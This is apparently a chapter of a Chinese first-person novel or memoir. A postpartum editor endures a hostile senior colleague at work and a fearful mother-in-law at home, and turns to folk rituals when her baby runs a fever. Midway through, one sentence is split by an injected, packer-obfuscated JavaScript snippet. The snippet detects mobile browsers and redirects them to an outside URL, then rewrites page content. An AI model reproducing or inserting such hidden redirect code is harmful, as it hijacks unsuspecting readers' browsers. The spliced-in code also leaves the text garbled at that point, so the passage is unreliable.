一天上午,阿杨说:“最近要审核几篇新稿件。我来把任务分配一下。郝跃,你来审核两篇现代文。大省,你来审核一篇文言文跟一首诗歌。钱编辑,你来审核两篇现代文。曹编辑跟我审核两篇文言文。许编辑审核两首诗歌。” 阿杨分配完任务,加重语气恨恨地说:“自己的任务自己完成!谁也没有特殊的照顾!”我心里想,这话是冲着我来的。 我什么时候要别人照顾过我?我什么时候不是多干,早干?谁不知道我是快手。你说这样的话除了发泄对我的不满,又有什么实际的根据呢。 阿杨一直对我阴阳怪气的。我知道她不想让我来上班,我不知道她这样做到底是为什么,到底是出于什么原因。唯一的原因,是她不想跟我一个组。可是我要工作,我要养家,我要活命,我也管不了那么多。 别人对她的话是没有那么紧张的,人家还没有动工。只有我跟郝跃打开电脑开始忙活了起来。 郝跃跟我一起,边操作电脑边积极地询问她:“阿杨,那个稿件的题材是要最新的吗?” 我也小心翼翼地跟她确定:“阿杨,我先把文言文那块搞好吗?你今天等着印刷吗?” 阿杨不耐烦地说:“哎呀,你们两个,讲的时候不好好听,现在又来问我!我哪里知道。我不是跟你们说了很多次了吗?讲的时候好好听啊。你们自己不好好听,不要来问我!我天天睡不好觉,头疼死了!” 旁边的人都没有动工,都淡定地看着我们挨训。感情,我们两个活该被她训。 等阿杨出去了。郝跃说:“乖乖,问问都不能问了。” 我身后的钱编辑说:“不急。凡事再等等,能拖就拖,拖拖也许就不用做了。你看你们那么积极,还要挨训。” “上厕所吧?”郝跃说。 “好的。”我放下手里的事,就跟郝跃一起去上厕所。 上厕所的时候,是我跟郝跃聊天的时候,也是我们互相倾诉苦闷的时候。 郝跃说:“你看,她对其他人就不像对我们那样吧?她对人就是这样。对我们跟对其他人,两个面孔。其他人,怎样怼她,她都不生气,我们对她服服帖帖地,她还动不动给我们脸子看。幸好有你陪着我,否则,我就得一个人面对这些。没有人帮我说话。” 我说:“你说,她怎么对别人那么有耐心的?” 郝跃说:“人家老公、家庭,都比我们有实力呗。钱编辑两口子都是老员工。跟阿杨差不多一起来的,都十几年的交情了。以前就住在她家楼下。她不是说过吗?以前,钱编辑的孩子在夜里哭都能吵到她家。我们怎么跟她们比。” 阿杨还是对我复工心有芥蒂。 一天,大家都在办公室里。 阿杨说:“你看人家汪萍萍,人家跟你差不多时间生孩子的,人家还在家里休假呢。你就来了。” 郝跃说:“汪萍萍比大省生地晚。她还是二胎。产假要多一点。” 阿杨像是没听到似的,她说:“人家就在家休产假,你好。好好的假期不知道享受,非要跑来上班。” 我说:“徐主任跟我说了,我的产假到期了。我不是三月份就请假了吗?我该来上班了。” “你这时候就应该在家休息啊。你孩子那么小,谁让你来上班,就太没有人性了。”阿杨对着门里头坐着的我说着,把门带上,走了。 我知道她是故意说我没有人性呢。她是说我放着孩子不管,非要来上班,太没有人性呢。可是,我为什么非要来上班呢?原因我不是跟她解释了吗?我来上班难道不是为了孩子吗?我的孩子要吃奶粉,要用尿不湿。新的政策,年年要调动,我这样的,在单位里本来就岌岌可危,我不来上班,领导很快就要把我报废处理了。我就不能就近照顾我的孩子了。 我憋着这些心事,背着她给我的压力,越想越委屈。我确实是刚生完孩子,刚生完孩子三个多月。面对她给我的压力,我百般解释,都无济于事。她还是不停地敲打我。这几年,我们都承受着要被调动的压力,人人自危,面对她的敲打,我一句话都不敢吭声。我夹着尾巴做人,对她唯唯诺诺,只求一夕安危,让我能够在这儿多呆一年,毕竟这儿是我熟悉的环境,毕竟我在这里工作了十年,毕竟这儿距离我家近一点。毕竟我舍不得买车,我也买不起车。毕竟面对被调走的高压,我没有那么潇洒。 我绷不住自己的感情,要哭了。 我跟郝跃说:“郝跃,我出去一下。马上就回来。” 郝跃说:“好的。” 我走到办公室外头,阿杨正好要回办公室,她从另一条走廊那里走了过来,看见了我,喊住我说:“大省,马上要开会。” 我说:“好的,我知道了。我马上就回来。” 当时是七月份,出门不用签到。我就骑上自行车回到了家。 一到家,我就躲到厨房的窗户那儿,嚎啕大哭。我确实是产后,确实是情感脆弱。 我打电话给了小潘,我说:“潘潘,我实在是受不了阿杨了。我积极复工,从单位的层面说,无论怎么样都是好的。为什么,她非但不给我安慰,还要天天敲打我,给我这么大的压力?我不想在家带孩子吗?我如果衣食无忧,我想出来吗?我跟她说了,我什么都跟她说了呀!我家孩子要吃奶粉,我跟婆婆一起很抑郁。现在形势严峻,我不出来,领导就把我闲置起来把我报废了。可是,她根本不听我跟她解释。她还是怪我出来上班。她阴阳怪气地,说我出来上班是我不顾孩子!是我没有人性!为什么我自己的工作我自己做不了主?她为什么那么喜欢左右别人?我连出来上个班都不能吗?” 小潘说:“她的确是这样的。大省,我理解你。你如果不是太委屈,你不会这样哭的。” 老太太抱着孩子在客厅里听着我大哭,也不吭声。一家人毕竟是一家人,我也不怕老太太笑话。我知道,关键时刻,她肯定是同情我的。 我说:“潘潘,我出来上班,又不对她造成任何威胁。我跟她又不是一个级别。她是《小坛》的大姐大,我只是一个菜鸟。我不跟她争名不跟她夺利。她为什么非要抵制我呢?我从刚到《小坛》,就一直受她的气。她跟个慈禧太后似的,她说什么,我都得忍着。她想说谁就说谁。这几年,人人自危,我小心翼翼地夹着尾巴做人,对她唯唯诺诺地。她说甩脸子就甩脸子,想怎么敲打就怎么敲打。我碍了她什么事?她要这样给我压力?我一个产后的人,我受得了吗?” 小潘说:“大省,你这样,你好好上班,我们自己好好上班,你别管她。” 我说:“小潘,你千万不要跟她说,否则我就没有活路了。我知道你跟她好。可是我也知道,你为人公正。我也只能跟你说了。周围都是她的人,我还敢跟谁说?我还能跟谁说?我就是有委屈,我也不敢跟她说,她知道我有委屈,她会更加生气,她更给我颜色看。她哪里讲道理。我哭完还得对她咽泪装欢。” 小潘说:“你放心,我不会跟她说的。” 我说:“好的,潘潘,谢谢你。拜托你了。千万刀下留人。” 小潘说:“好的。你放心吧。” 我擦了擦眼泪又骑车回去上班了。到了办公室,我装作若无其事的样子,坐下来,等着阿杨分配工作。我必须咽泪装欢,委曲求全。 “大省,你先审一批鉴赏文言文的稿子,再来审一批鉴赏诗歌的稿子吧。”阿杨跟我说。 “好的!”我用刚才嚎啕大哭过的双眼笑着跟她说。 过了一阵子,阿杨说:“汪萍萍来上班了,她刚从《且戒》调过来,老黄就让她做骨干了。” 我身后的钱编辑说:“那是!谁能跟人家比!人家现在是老黄的红人!” 阿杨说:“马上,老黄还要让她上电视呢,这样一包装,没几年,人家就是名人了。” 钱编辑说:“你说,她把老黄哄地这么开心,老黄对她这么用心,得花多少钱啊?” 阿杨说:“那没办法,谁让人家老公开厂,人家有钱呢?” 我不吭声,我心里想,你不是嫌我那么早来上班吗?人家汪萍萍背后有个有本事的老公,人家还有领导扶持,我能跟人家比吗? 郝跃说:“谁能跟她比?她老公开厂的,一个标的就是一百万。” 我忙着电脑里的活儿,不吭声儿。我忙了一阵子,出去接水喝。我在回办公室的时候看到了欧阳杰。 我说:“欧阳,你今年也在孙部长麾下吗?” 他很友好地看着我说:“是的。” 我说:“我们都有十年没见过了吧。见了你还蛮感慨的。” 他也很诚恳地说:“是的。” 我说:“真是十年生死两茫茫啊。当年,我们还住单位宿舍,那时候单位宿舍还没翻修,柜子里的木板都发霉了。可是那时候,我们还住地蛮开心的。觉得人家能给我们住就不错了。” 他说:“是的。后来我女朋友要来了,我想去申请单间,总务处的叶主任还刁难我们。那个破地方,现在谁要住啊。” 我说:“那时候,有单间的人也不少。他只是不给我们而已。” 欧阳说:“是的。就我隔壁,人家张编辑一家老小三代都住在那里,人家外头买了房,还是住在那里,节约水电费嘛。人家有的跟领导关系好的,一个人弄几个单间,自己不住,还租出去,对外就说那房客是他的亲戚。可是对我们这样外地来的买不起房的,掐着脖子卡我们。就是不给我们单间。他们这样做事太让人寒心了。” 我说:“现在我们好歹也有了自己的小家了。你看我,现在又是孩子,又是婆婆。日子鸡飞狗跳的。欧阳,你家是男孩儿还是女孩啊?” 他说:“还没有呢。” 我说:“哦,不好意思啊。你知道我的,我不跟他们多说什么。我记得上次在老詹办公室填表的时候,郭翠翠不是问你,快当爸爸了吧?你说快了。我那时候正在闹离婚,我那时候还想呢,就我过得不好。” 欧阳说:“这十年,我也经历了很多。” 我说:“是的。十年啊,酸甜苦辣太多了。不管怎样,日子还得过。再怎么样,还得笑对生活。” 他说:“是的。宋编辑,你有什么烦恼跟我说。我来收拾他们。他们就是欺软怕硬,不给他们点颜色看看不行。” 我说:“目前还行。谢谢你!到底是同年!老感情还是有的。” 他说:“那当然!” 2.宝宝拍胸片,我婆婆害怕辐射,吓跑了 宝宝百天了,要买件新衣服,我跑到‘孩子王’的店里,给她选了一件红色的小纱裙,宝宝穿上那件红色的小裙子,更显得白白胖胖可可爱爱了。我把她放在床上躺着,给她拍了几张照片,算是她的白天纪念。 黄社长知道了我生宝宝的事,通过钉钉发信息跟我说:“喜得千金!恭喜恭喜!” 我赶紧回复他说:“谢谢黄社长!也祝黄社长全家幸福!子孙满堂!”我顺带着发了两张宝宝的百天照给他,他回复说:“宝宝好可爱!” 我不是一个爱炫娃的人,我在朋友圈里发宝宝的照片不多。但是这一次,我给黄社长发了宝宝的照片,我是有私心的。我知道现在大搞人才流动,如何流动,让谁流动,权力全在黄社长一人手里。我知道我最没有资历和资格,他们让我走,我随时准备着。但是我的宝宝才几个月,我当然想在《小坛》上班,好多照顾她一点,幸运的话,可以多照顾她几年。 我给黄社长发宝宝的照片,是希望他能看在宝宝的份儿上,对我刀下留人。我祝福他子孙满堂,也是希望他能够对一个产妇和一个乳儿手下留情。听说多做善事少做恶事,可以积福积德。 宝宝百天的宴席很简单,也是只请了三桌自家亲眷。客人吃饱喝足临走的时候,三三两两地来从门口儿走过,我抱着宝宝跟他们道别。 他们走过我跟宝宝身旁的时候,有的说:“这个宝宝一看就是端午家的人!” 有的说:“你看她,睫毛多长噢,像假的一样。” 宝宝穿着我给她买的红色的小裙子,乖乖地靠在我怀里。 一个穿着蓝色汗衫的人来到我们身边,端午兴奋地告诉我说:“这是我堂哥。就是那个博士。” 我们的婚礼上,端午指着对面的一桌子人家说:“我那个堂哥是博士,他们一家子都是学霸,不是博士,就是公务员。”我甩眼看了看,也没看清。现在看清楚这个传说中的博士是谁了,跟端午的爸爸有点像,都是矮个子,大嘴巴,一笑像个大青蛙。 我说:“噢,你就是传说中的博士啊。跟你比,我们都是学渣。那得赶紧让你抱一下我们的宝宝,沾沾文曲星的好运气。” 端午的堂哥不好意思地笑笑,他的个子跟端午的爸爸一样,家族遗传式的不高。但是毕竟是博士,看起来还是很稳重。他小心翼翼地接过宝宝,低着头抱着。 我说:“这回我们也要考博士了。”旁边,不知道是哪家的亲戚笑着说:“超过他!” 说话间,众人纷纷下楼乘电梯,准备回去了。 有人说:“你们在青提买的房子啊?” 我说:“是的。”我也没有说,是我婚前自己买的。我也没有说邀请他们来我家坐坐的话,因为房子太小了,里面堆了孩子的小床,和端午头脑发热买的儿童版的台球桌,已经把本来就不宽裕的客厅堵满了。外面很热,我们也顾不上多说话。就这样匆匆作别。 宝宝百天以后,我把她抱过来睡,我跟端午夜里关灯睡。宝宝到我房间里,很快就睡着了,睡得很香。我打这以后,就自己带宝宝睡。宝宝两个小时吃一次奶。我夜里频繁地起来冲奶粉,刷奶瓶。我要熬夜劳心费神,可是为了我的宝宝,苦点累点,我也心甘情愿。 听说前两年,妈妈对宝宝的陪伴很关键。我愿意为她真心的付出,来换来她的依赖和信任。我的宝贝,我为她出钱出力乐此不疲。我不能只出钱不出力,让她完全跟奶奶睡,从而让她跟我疏远跟我不亲。这不行!我不能让这样的事发生!我不能让一个对宝宝很虚的人抢了我在宝宝心目中的位置。 我在网上看到的,婴儿跟老人睡,对婴儿不好,对老人好,因为婴儿是纯阳之身,而老人血气衰微。盛衰中和,婴儿吃亏,老人赚便宜。我婆婆对迷信那么博古通今,对此事却只字不提,她应该知道吧,她也应该很乐意吧!你休想!就让你的口臭气独自飞扬吧。在阴气最重,浊气最容易入侵清气的月圆之夜,你休想得到我宝宝的任何阳气!我跟我宝宝睡。为她熬白了头,操碎了心,我不后悔! 夏天,我抱着宝宝,老太太烧饭,热地满头大汗。 我说:“妈妈,吹吹空调吧。” “不吹,怕体内进了冷气。” “那洗把脸。凉快凉快!” “不能洗,洗脸会把汗毛孔打开,细菌会进去的。” 我说:“你太惜命,我理解你。我也不想干涉你。可是,你说抱孩子就抱孩子。你脸上密密麻麻的汗珠子跟黄豆似的,那汗水里都是盐碱、尿素,滴在宝宝身上,宝宝那么娇嫩,她受得了吗。你怕细菌进到你的毛孔里,你汗里的盐和尿素里也是细菌啊。天热,把自己的臭汗洗掉,又凉快又清爽,你怎么那么舍不得呢?” 老太太听了我的话,这才不情愿地走到水龙头那里去洗了洗脸。 八月份的时候,宝宝打了十三价肺炎疫苗,听说打了十三价肺炎疫苗容易高烧,我就有点担心。家里准备了两个体温枪。打完疫苗半天无事。因为夜里热,不能不开空调,又不敢开低。我把空调开到三十度,宝宝还是热地出汗,出的汗把凉席都湿透了。我每次醒来,都要把她抱起来挪个窝儿,从这头抱到那头,如此反复,那时候她还不太会动。还比较放心。我跟她睡,又挤又热。就让她自己睡床头,我睡床尾。 当天夜里,十二点钟的时候,我睡意朦胧中,看到两个人影儿到了我的房间,直奔宝宝而去。我不是迷信也不是装神弄鬼,我真地是在梦中看到了。我在梦中想奋力张嘴冲那两个黑影大骂。可我张不开嘴。我又气又急,被憋醒了。我听见宝宝在哭,我打开灯,宝宝抱着头在床上翻动,嘴里往外冒着白沫,眼睛看着我,向我求助。我知道宝宝发烧了,体温枪一测,38度5。我早就知道宝宝会高烧,早就担心不知如何应对。就想着一旦发烧,第一时间就打120去医院。 今天,我是第一次经历宝宝高烧,如临大敌,慌乱不已。端午刚好那天回了老家。宝宝身上热,我不能抱她。就喊老太太。她赶忙出来。我把宝宝身上粉色带花儿的小裙子脱下来,给她降温,再让老太太给她喂水。我去打120。 我说:“喂!我家宝宝高烧了,麻烦你们赶紧来接一下吧。” 接线员说:“好的,我们马上就到。你让宝宝侧躺,不要让她嘴里的异物堵住了喉咙。” “好的。”我说。我一一照做。趁着120赶来的时间,我赶紧准备奶粉、尿不湿,和水杯,然后抱着宝宝下楼等。120车子一到,我们就上了车。宝宝一上车就不哭了,好奇地看着医生,意识很清醒。我也放心了很多。 到了医院,急诊的医生接待了我们,给宝宝撬开嘴巴,看舌头,量体温。旁边,站着别人家的宝宝,宝宝的爸爸和爷爷。而我们,是老太太、我跟宝宝,老中青三代女性。医生开了小儿豉翘颗粒,和对乙酰氨基酚。我打开水杯子,给宝宝吃药喝水。她那时候还不知道抗议,不知道拒绝吃药,乖乖地吃了药,我们才回去。 第三天,我不放心,宝宝也开始咳嗽。我就跟老太太一起打车再去医院。儿科的医生说,宝宝咳嗽不知道是不是肺炎,让我们去拍个胸片。我对宝宝拍胸片也有点害怕,我怕宝宝太小,不知道拍胸片对她有没有危害。打电话问了郝跃,她说该检查就得检查。她还给宝宝拍过CT呢。 我就满腹狐疑地拿着单子,跟老太太一起抱着宝宝去了胸片室。里面负责拍片的医生有五十岁左右,他大概眼盲,说是没有到我的号,让我出去。我看了一下化验单,说没错,是我啊。他觉得我不听他的,怎么还不走,就在嘴里骂着“妈的!”他以为我听不到,其实我听地清清楚楚,要不是宝宝要找他拍片,我恨不得去跟他大吵一架。没办法,他是医生,还是宝宝的医生。我还是得跟他客气。其实我现在有点后悔,素质这么差的老头子,我当时为什么不去跟他理论,或者换家医院。 我就出去重新看了号,确定是我。再回来跟他说。他自己也又看了一遍,知道我是对的。他就走出来,开始给宝宝拍片。宝宝太小,不会站立,得躺下来。宝宝那么小,一个四格的光影打下来,就几乎罩着她全部的身体了。那光影打在她的脸上,我很是心疼,巴不得自己可以代替她。老太太扶着她的腿,我就紧贴着宝宝站在旁边,还要安抚宝宝:“宝宝听话啊,你看医生多好啊!”我其实也是跟医生客气,想让他好好给宝宝拍片,不要使坏。 拍片即将开始,我心疼地看着宝宝。 这时,老太太开始颤抖了,她按着宝宝双腿的双手在急着撤离。 她抖动着牙齿和胳膊说:“我不能扶!”她吓地腺样体面容失色了!她害怕被辐射!那我来扶。我去扶着宝宝的腿。 老太太终于可以解脱了。她得胜似地要踱出去了!她的儿媳妇还在胸片室,她的四个月的孙女还躺在拍片的机器上。精明的老太太准备及时抽身撤离啦!她转过头,一步步朝胸片室门口走去!快了!再有一步就脱离这个危险的地方了! 可是,很不幸,医生喝住了她:“你扶着她的头!” 医生让她扶着她孙女的头! 老太太又吓地魂飞魄散,恢复了惶恐的腺样体面容,一步一步退回来。伸开长长的猿臂,像蹲马步一样,远远地扶着宝宝的头,她的上身紧张地压下去,与地面保持平行。她的脑袋努力往后拗过去拗过去,拗到脑袋与屁股齐飞。这个奶奶躲避着宝宝,像千年的狐狸不小心来到老虎的屁股后头,她伏在老虎的屁股后头,瑟瑟发抖。 可她只是拍个胸片而已啊!我的亲娘啊,你至于吗? 很快就拍完了。我去取了胸片,可怜宝宝太小,那张胸片拍到了她的前胸,也拍到了她的大半边脸。 我很心疼。不想给老太太看,她胆小如鼠,毫无大义可言。关键时刻,她竟然抱头鼠窜!让我深为鄙视。且不说胸片对人体辐射不大,就是大,你一个六十多的大人,又能怎么样。她才四个月啊,你个六十多的老太太都害怕,你孙女就不害怕吗?你竟然能抖机灵临阵脱逃啊!你为了惜你的老命,你连脸面都不顾了!你在儿媳妇面前人格何在!你在儿媳妇面前尊严何存! 不要说是亲奶奶啊,就是一个过路的,人家孩子要拍个胸片,让我帮忙扶助,我也会欣然应允,我也断不会跑掉啊!不要说是胸片,就是CT,就是核磁共振,人家让我帮个忙,我也会去帮! 海水不可斗量,但是人绝对可以貌相。我婆婆生就了小头小脑小眯缝眼,檐牙高啄,有时做的事,让人惊为非人! 我出来以后就禁不住生气了。我问她:“医生让你扶宝宝,你急着跑出来干什么,你就那么怕死吗?” 她纤声细气、咿咿呀呀地说:“我怕我耳朵上戴的金器,影响拍片子!” 我跟程云说了这事儿。 程云说:“你看看,多会找借口。怕影响拍片子,医生不知道啊。医生说影响了没有?她在旁边,又不拍她,影响个屁啊。” 我跟端午说:“宝宝拍胸片,你妈居然吓跑了。她怕辐射她。” 端午说:“没事儿,能减轻一个人的伤害,就减轻一个人的伤害!” 我说:“你说的这叫人话吗?她四个月的孙女不怕,她四十岁的儿媳妇不怕,就她六十岁的老太太怕辐射!就她怕伤害!无能鼠辈!抱头鼠窜!一点都没有大义凛然。怎么让人尊敬!” 人说要敬老要尊老。可是多少老人是干了坏事,自己还有理的,有些人,年纪大了,饱经风霜,那颗心早就刀枪不入,也不在乎什么是非美丑了。她能把儿媳妇气死,你想气她,她可是毫不在乎。 我去超市买东西,排队的时候,老年人一个一个地泰然自若地加塞,毫不客气。七老八十的老婆婆,拿起一块油饼就放在鼻子底下闻。 售货员义正言辞、头头是道地大声训斥:“不要闻!你闻了,别人还怎么吃?现在是新社会,年纪大了,也要与时俱进,也要考虑别人!” 那售货员说完,看我一眼。我在旁边听着,以为那老太太七老八十,经此训斥,定是面红耳赤,颜面荡然无存。 没想到,老人家“呵呵”一笑,毫不在乎。 我去买青菜,拿个小塑料袋子别别扭扭地装菜,身后的售货员大声喊我:“美女!这里有大袋子!没办法,我们不敢放出来,放出来,她们成卷成卷地拿走,还跟我们杠!”有的人,年纪大了,自尊心也淡了,自律心、同理心也所剩无几。年轻人还在乎公德脸面,她们对年轻人可是毫不客气。 宝宝后来不怎么高烧了,就是咳嗽,我在家给她喝药,观察。我想想她发烧那天夜里,那天半夜的时候,那两个黑影儿。我就给我远在山东的大姨打了电话。 我说:“大姨,我家宝宝不是三个多月了嘛。她那天打了十三价肺炎疫苗,到了夜里就发烧了。高烧38.5。按说宝宝发烧也正常。但是,就在她发烧的那天半夜,我睡梦中看到两个黑影儿到了我们房间,直奔宝宝过去了。当时我就想骂的,可是张不开嘴,一急就急醒了。我赶紧爬过去看宝宝,宝宝正抱着头,口吐白沫,冲着我哭叫,让我救她呢。我一看表,正好是半夜12点。我赶紧打了120,带她去医院了。她这几天也好了。但我觉得那天夜里,我睡梦中看到的黑影有点蹊跷。你给她算算吧。” 我大姨说:“你看看,一百天左右,人家就来找她麻烦了。你去买三十八根香,晚上等孩子睡觉了,你去点上,打开西北面的窗户,你就说‘恁谁来打短儿的,恁认识俺山东大姨她老师吧。恁要是认识俺山东大姨,恁赶紧走。俺该怎么打送就怎么打送。’” 我听了大姨的话,赶紧骑着自行车四处去问着给我的宝宝买香。终于,在一家喜糖铺子里买到了。我带回家,到超市里买了粮食。到了晚上,老太太带着宝宝睡觉了。我在房间里,小心翼翼地点上三十八根香,放在一个铁碗里,里面盛着满满的红豆、绿豆。 我对着西北面的窗户跪下,我说:“恁认识俺山东大姨她老师吧,恁要是认识的话,恁赶紧走。俺该怎么打送就怎么打送。”我跪在地上,认认真真地磕头,为我的孩子祈求平安。说实话,我怕鬼,但我不是很相信鬼神,但是为了我的孩子,我是平生第一次开始迷信了。 接下来的中元节,我第一次买了火纸,在我家附近路边上烧了,烧给我爷爷和我爸爸。我说:“这么多年,恁也知道,我妈妈带着俺姊妹几个也是千辛万苦,我也是颠沛流离,确实没有办法祭悼你们。恁要保佑恁的孙子健健康康、平平安安。” 我给宝宝找人算了命。花了五十块钱。算命的说:“四岁之前防摔防烫。宝宝虽然是个女孩,但是以后比男孩还要中用。” 我说:“好的。谢谢先生金口玉言。” 我又问算命的先生:“老太太说,宝宝属虎,她爸爸属猴,她跟她爸爸属相相冲。您说,她们属相相冲吗?” 算命的说:“她是胡说八道的,虎和猴哪里相冲。她是属虎的,那你给她找个属猪的干妈。” 我说:“那行,回头我去问问。” 我打电话给程云:“程云,你是属猪的嘛?” 她说:“我不是属猪的,我要是属猪的就好了。我73年,属牛的。你怎么突然问我属什么的?” 我说:“我宝宝不是最近发高烧吗,我又打120,又带她拍胸片的。我给她找人算了一卦。算命先生说,要我给她找个属猪的干妈。” 程云说:“现在很多人都不愿意给别人的小孩儿做干妈了,说是对人家自己的孩子不好。认别人的孩子做干儿子干女儿,会占自己的孩子一个位置。” 我说:“那行,回头我去问问。我记得我妈妈说过,也可以找个石桥做干妈。” 程云说:“是的。也可以找个石桥当干妈的。那样对谁都没有影响。” 星期天,我抱着孩子去广场上玩的时候,看见了物业经理敏姐。她大老远就跟我打招呼说:“宋编辑,你带着宝宝玩的?” 我说:“是的,敏姐。” 她说:“你看你家宝宝长得跟她爸爸多像啊,简直一摸一样。你别说哈,你家宝宝蛮可爱的。她奶奶呢?” 我说:“她回老家了。周末只要有时间就让她回老家休息。夜里我带,白天我上班,她带。” 她说:“夜里带孩子辛苦的,你看你白头发,多少了。” 我说:“她爸爸又不管,全是我。夜里换好几回尿不湿,想上厕所都不安稳。这边上厕所,那边孩子哭了,得赶紧回来抱孩子。我现在都会抱着孩子上厕所了。” 她说:“都是这样过来的。你看我,我也是,头发都白了,我买的假发戴的。你也可以买个假发戴戴。” 我说:“我嫌麻烦,现在孩子小,我根本没有心情收拾自己。孩子能好好的,不生病,我就万事大吉了。就怕她生病,我得带着她跑医院。要是上班的时候还得请假,那才叫崩溃。” 她说:“小孩儿小,抵抗力弱,有个头疼脑热的很正常。” 我说:“她前几天夜里发烧,我慌了,不知道该怎么办,直接打的120。可能是打疫苗打的。后来,我找人给她算命,算命的说,要给她找个属猪的干妈。我问了好几个人,都不是属猪的。” 敏姐说:“我妹妹是属猪的,回头我跟她说说。她上回才来青提,我不知道你这事儿,否则我就喊你来了。等她下次来,我再喊你。” 我说:“谢谢你,敏姐。我听说认干妈对干妈不好。我打算给她找个石桥当干妈。她爸爸老家就有一座石桥,我们回她爸爸老家的时候就可以去认干妈了。” 她说:“那也行。” 我说:“谢谢你,敏姐。我有什么事,你都是真心地帮我。我在这儿无亲无故的,多亏了你帮我了。” 她说:“没事儿,你有事儿跟我说。” 我说:“好的,敏姐。” 只要是为了孩子,该讲迷信得讲迷信,该相信科学还是得相信科学。宝宝打疫苗,全是我请假去。老太太抱孩子。我去跑前跑后,排队,付款。 过了几天,老太太问我要棉签。她的耳朵出血了。 晚上,端午下班回来。我说:“你妈耳朵有问题,你带她去看看吧。” 老太太不愿意去。她的意思很明确。我们宝宝每个月奶粉三千,尿不湿一千,打疫苗近一千,各种费用加起来,一个月四五千。我们目前养孩子压力大。她都不管。她自己有个小病小灾,她也不要我们管。她现在不管孙子,她也不找我们,这样两清了。她如果找我们,那她怎么好意思以后不管孙子呢。她管孙子,她怎么舍得钱呢。宝宝要花多少钱,她自己有个小毛病才花几个钱,她算的是这笔账。 “我社保卡里还有万把块钱呢!”她说,“就是没带!” 我说:“没事儿的。让端午付钱吧。赶紧去看看。”端午吃完饭带她去了。 回来以后,端午说:“医生从我妈耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137816|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵里掏出来好多白色的东西!” 老太太说:“我带宝宝,没有时间掏耳朵。” 我说:“你不要又赖到别人身上。很多人都忙,人家耳朵也没有流血。你就是耳朵发炎。” 端午说:“医生让改天再去做个CT看看。” 我说:“你妈那么惜命,宝宝拍个胸片你妈都害怕,这次她要做CT了。那不得把她吓坏了啊。” 过了两天,老太太走路摔倒了。眼睛跌红了。 我说:“妈呀,你眼睛怎么那么红的?” “我急着去买菜忙的!”她说。 “眼睛不是小事儿,我带着孩子,你赶紧去挂水吧。”我说。 “行。没事儿的。过几天就好了。”她说。 “女的就是不容易。我妈妈说,‘四十八,把眼花。’我有的女同事四十七八岁眼睛就花了。”我说。 她说:“我的眼睛没花!我是以前干保洁的时候被树枝戳的!” 我说:“哦,怪不得你老是跌倒。耳朵发炎,眼睛又看不清,走路就失去平衡了。你在医院的时候不是也跌倒过一次吗?肯定是这么回事。” 我抱着宝宝在广场上玩,认识了一个妹妹,她的孩子比我家宝宝大八天,叫朵朵。听说她买了围栏,我一直犹豫要不要买。 “围栏肯定要买的,不然宝宝会跌下来!我早就给我家朵朵买围栏了。”朵朵妈妈说。 “那你把你买的链接推荐给我,回头我就买跟你的一样的。”我说。 她说:“好的!” 我问她说:“围栏是怎么装到床上的?” 朵朵妈妈笑着说:“就塞到床垫底下就行了。我老公还打了个钉子呢!” 不久,围栏到货了,是一长箱子的零件,需要自己组装。我扛回家,等端午周末有空组装。 周末了,我催端午组装围栏,他妈妈抱着孩子,也在旁边观看。 端午拿来那些长的短的钢管试了试。 “装不进去,扔了吧!”他说。 “怎么能扔呢!我花了三百块钱买的呢!”我说。 “装不上!”端午说。 “怎么可能呢!人家朵朵家就买了这样的围栏,人家都装上了。朵朵爸爸装的。”我说。 “真的装不上,套不进去。”端午说。 “你一个大男人,还在厂里上班,天天跟材料打交道。怎么可能装不上。人家厂家设计的,肯定能装上啊。我来看看!”我拿过两截钢管试了试,其实,我知道自己动手能力很差,我也没有把握。我看了看,把两截钢管套了一下,是套不进去。 “你看,装不进去吧。”端午说,“扔了吧。” “不可能,我再看看。”我又看了一下。发现一截钢管外面有小孔,另一截钢管外面有一个个鼓起的小疙瘩。我知道了。我把那些小疙瘩按下去,装进另一截钢管里,再一松手,“咔吧”!两截钢管套在一起了。 “你看看,你居然想把它扔了。本来能干成的事儿,到你手里就干不成了。”我跟他说。 我想我也不是坏人,我也不想老是说话打击他。可是,摆在眼前的事实如实说出,就成了打击人的话。如果外人听了还觉得受不了,实在不够委婉。可是他作为一个老是半途而废的当事人听了,那也就是实话而已。我看他那样子,他也没有什么受不了的,顶多就是不中听,说我瞎叽歪。因为不想干、干不好,轻而易举地放弃确实是他常干的事。他妈妈也是亲眼所见。她儿子干不成事儿,轻易就想放弃。 我产后有六个月跟端午没有夫妻生活。我这人胆子很小,我觉得我刚生产完的子宫经不起折腾。而且,自从我怀孕以后,我跟端午就没有任何肢体接触了。这以后,我跟他两个人就像熟悉的陌生人一样。那是一种没有爱没有密切情感的的关系,那是一种让人失望寒心孤独的感觉,那是一种不太健康的关系。 一个秋天的周五晚上,老太太照例回家去了。 端午突然有事似的跟我说:“今天晚上早点睡。” 我知道他话里的意思,但是我不太适应也不太习惯,我问他:“你不是那么长时间都没提吗?” 他说:“你不是说你产后身体要修养吗?我就憋着呗。” 我说:“你还是不太强烈。人家菜场那个卖菜的女的,年头生一个,年尾儿生一个,刚出月子人家就又怀上了。” 端午说:“来来来!” 我说:“你那语气就像喊一个男的去跟你打篮球似的!我听了你的话一点感觉都没有!我天天忙孩子,都没有心情了。宝宝都睡着了,别把她吵醒了。” 端午说:“把宝宝放到她的小床上,我来抱过去。” 我说:“不行,你一把她放下,她立马就会醒,会哭。” 端午说:“我们快一点。” 我说:“不行。就把宝宝放在这里。” 端午说:“那好。我们声音小一点。” 我们刚要开始,宝宝就醒了。小小的人儿隔着黑暗把目光看向我们。看到宝宝醒了,端午像个做了坏事的小男孩一样,“咿呀”一声趴下来,害羞地把头埋到我的肚子上,偷偷地看着宝宝,紧张又羞愧地笑着。那一刻,放佛我只是一个掩体,而不是他的准备行周公之礼的老婆。 “不能让宝宝看见,对她以后的成长不好。”端午说。 宝宝不知道爸爸妈妈在干什么,害怕地哭了。 